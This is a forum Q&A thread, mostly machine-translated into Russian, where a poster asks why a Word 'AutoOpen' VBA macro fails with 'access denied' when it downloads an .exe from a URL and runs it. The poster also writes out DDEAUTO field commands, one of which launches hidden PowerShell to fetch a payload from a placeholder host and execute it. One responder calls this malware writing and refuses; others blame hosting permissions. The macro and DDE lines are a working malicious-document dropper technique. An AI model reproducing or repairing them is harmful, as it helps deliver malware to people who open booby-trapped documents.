Member 10827182 Ответов: 3

Ошибка доступа, на которых работает удаленный файл в VB макроса с помощью кода VB


Здравствуйте Гуру,
У меня есть файл, размещенный в cpanel, так что файл может быть вызван, запуск этого МАКРОКОДА VB заставляет приложение запускать приложение калькулятора, которое поставляется с операционной системой windows, но тот же подход может быть использован для вызова файла с URL-адреса, но запуск кода приносит ошибку, что я, кажется, не знаю, что происходит, пожалуйста, помогите мне сделать это правильно.

Ниже приведен код :

Sub AutoOpen()

Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://sample.com/test.exe", False
xHttp.Send

With bStrm
 .Type = 1 '//binary
 .Open
 .write xHttp.responseBody
 .savetofile "test.exe", 2 '//overwrite
End With

Shell ("test.exe")

End Sub


Приведенный выше VB-код должен загрузить exe-файл с URL-адреса и запустить его, но он дает мне ошибку отказа в доступе, когда я его запускаю .

Пожалуйста, кто - нибудь должен помочь.

Что я уже пробовал:

Я запустил код, но с ошибкой отказа в доступе и не смог загрузить файл, но если тот же код был запущен с помощью локального приложения, он будет работать отлично.

Пожалуйста помочь.

RickZeeland

Какую версию VB вы используете ?

Member 10827182

Это макрос VB в меню разработчика в MS Word 2010 до настоящего времени. У него есть то, что называется макросом VB в меню разработчика, когда он включен из опции. Код макроса VB-это то, что запускает приложение в удаленном расположении(URL) или на локальном диске.

Пожалуйста, помогите мне, если у вас есть идея.

Richard Deeming

Это звучит так, как будто вы пытаетесь написать вредоносное ПО.

Microsoft уже исправила уязвимость DDEAUTO, которую вы используете.

Мы не потворствуем и не помогаем в написании вредоносных программ.

3 Ответов

Рейтинг:
2

Member 10827182

Thank you, the file is just hosted in the CPanel so that it can be downloaded to the local system and run locally, so this is not the issue of cpanel per say. The question, "so what happens when you put the URL you're using into a web browser?" All programmers know that the browser cannot run an exe file, so  the file cannot be run through browser but can only be downloaded. The file is just there but it is giving access denied error to download that file from the same URL that downloaded the file when you paste the URL in browser. 

I have thought using DDEAuto of the MS Word to download the file but that is not working either. The following DDEAUTO code execute the "Calc.exe" calculator application in windows through DDEAUTO from MS Word file but when you put a URL there, it will not work too. Check the DDEAuto code that worked for Calc.exe file below :

DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" ==========This code Worked and run immediately after you open a MS Word file

DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://sample.com/sample.exe');powershell -e $e "   =====This should as well work by downloading the file from the URL to the local system and run it. 

  Any help provided for me is welcome and appreciated on either of the approach(VB Macro code or DDEAUTO). I will appreciate the assistance provided.

Thank You


Рейтинг:
1

OriginalGriff

Поговорите со своей службой веб-хостинга: они, вероятно, заблокировали Вас от выполнения "странных программ" по соображениям безопасности. И поскольку они понятия не имеют, какого черта вы скачиваете и запускаете, я не могу сказать, что виню их...


Member 10827182

Программа не загружается в cpanel, она загружается из cpanel в локальную систему, и все, что делает программа после ее загрузки, не имеет никакого отношения к CPanel или хостинг-провайдеру. Код выполняется для файла, расположенного в локальной системе, но дает ошибку отказа в доступе при удаленном вызове файла. Если есть способ, я могу добавить имя пользователя и пароль cpanel к коду, чтобы он мог иметь доступ к cpanel.

Рейтинг:
0

Dave Kreskowiak

Вы не "запускаете удаленный файл". Вы просто загружаете файл и запускаете его локально.

Если это фактический URL, который вы используете, я не удивлен, что он не работает.

CPanel не имеет к этому никакого отношения. CPanel-это панель управления сайтом, а не сам сайт. Файл нигде не хранится "в CPanel". Он доступен только через веб-сайт, на котором он размещен.

Итак, что происходит, когда вы помещаете URL-адрес, который вы используете, в веб-браузер?


Member 10827182

Спасибо, файл просто размещен в CPanel, так что его можно загрузить в локальную систему и запустить локально, так что это не проблема cpanel per say. Вопрос: "Итак, что происходит, когда вы помещаете URL, который вы используете, в веб-браузер?" Все программисты знают, что браузер не может запустить exe-файл, поэтому файл не может быть запущен через браузер, а может быть только загружен. Файл просто есть, но он дает ошибку отказа в доступе для загрузки этого файла с того же URL-адреса, который загрузил файл, Когда вы вставляете URL-адрес в браузер.

Я думал использовать DDEAuto из MS Word для загрузки файла, но это тоже не работает. Следующий код DDEAUTO выполняет "Calc.exe" приложение калькулятора в windows через DDEAUTO из файла MS Word, но когда вы поместите туда URL-адрес, оно тоже не будет работать. Проверьте код DDEAuto, который работал для Calc.exe файл ниже :

DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" ==========этот код работал и запускался сразу после открытия файла MS Word

DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://sample.com/sample.exe');powershell-e $e " =====это также должно работать, загрузив файл с URL-адреса в локальную систему и запустив его.

Любая помощь, предоставленная мне, приветствуется и ценится по любому из подходов(VB Macro code или DDEAUTO). Я буду признателен за оказанную помощь.

Спасибо

Dave Kreskowiak

Я знаю, что ты не можешь управлять этим .EXE из URL-адреса. Вы просто не можете этого сделать, потому что O/S не поддерживает его.

Опять же, CPanel не хранит и не размещает его .файл EXE. Это ответственность веб-сайта, который контролирует CPanel.

Теперь, когда вы вводите URL-адрес в браузер и все еще получаете ошибку отказа в доступе, эта ошибка не имеет ничего общего с вашим кодом, но все, что связано с вашими правами доступа к файлу на веб-сайте. Эти разрешения или, возможно, расположение самого файла должны быть изменены, чтобы позволить вам получить доступ и загрузить файл.

Я не могу сказать вам, как это сделать или что изменить. Это зависит от вас или от линии поддержки хостинга, который вы используете.